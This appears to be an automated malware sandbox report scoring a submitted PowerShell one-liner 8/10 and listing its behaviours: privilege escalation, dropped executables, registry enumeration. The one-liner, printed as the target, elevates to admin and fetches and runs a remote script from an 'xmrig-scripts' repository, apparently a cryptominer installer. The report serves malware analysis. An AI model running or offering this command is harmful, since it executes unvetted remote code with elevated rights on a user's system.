Overview

overview

8

Static

static

1

URLScan

urlscan

http://start-process...

windows10-1703-x64

8

Resubmissions

07-07-2024 15:20

240707-sqxdvsxbka 6

06-07-2024 11:20

240706-nfk6maxflr 8

04-07-2024 08:53

240704-ktts5svhkg 3

04-07-2024 08:51

240704-kr7bfsshmm 3

04-07-2024 08:05

240704-jythhatfmb 8

04-07-2024 07:32

240704-jde5dashlb 8

Sharing

Copy URL
Twitter E-mail

General

  • Target

    http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

  • Sample

    240706-nfk6maxflr

Score
8/10
defense_evasiondiscoveryprivilege_escalation

Malware Config

Targets

    • Target

      http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

    Score
    8/10
    defense_evasiondiscoveryprivilege_escalation

    • Downloads MZ/PE file

    • Executes dropped EXE

    • Loads dropped DLL

    • Checks installed software on the system

      Looks up Uninstall key entries in the registry to enumerate software on the system.

      discovery
    behavioral1

MITRE ATT&CK Enterprise v15

Tasks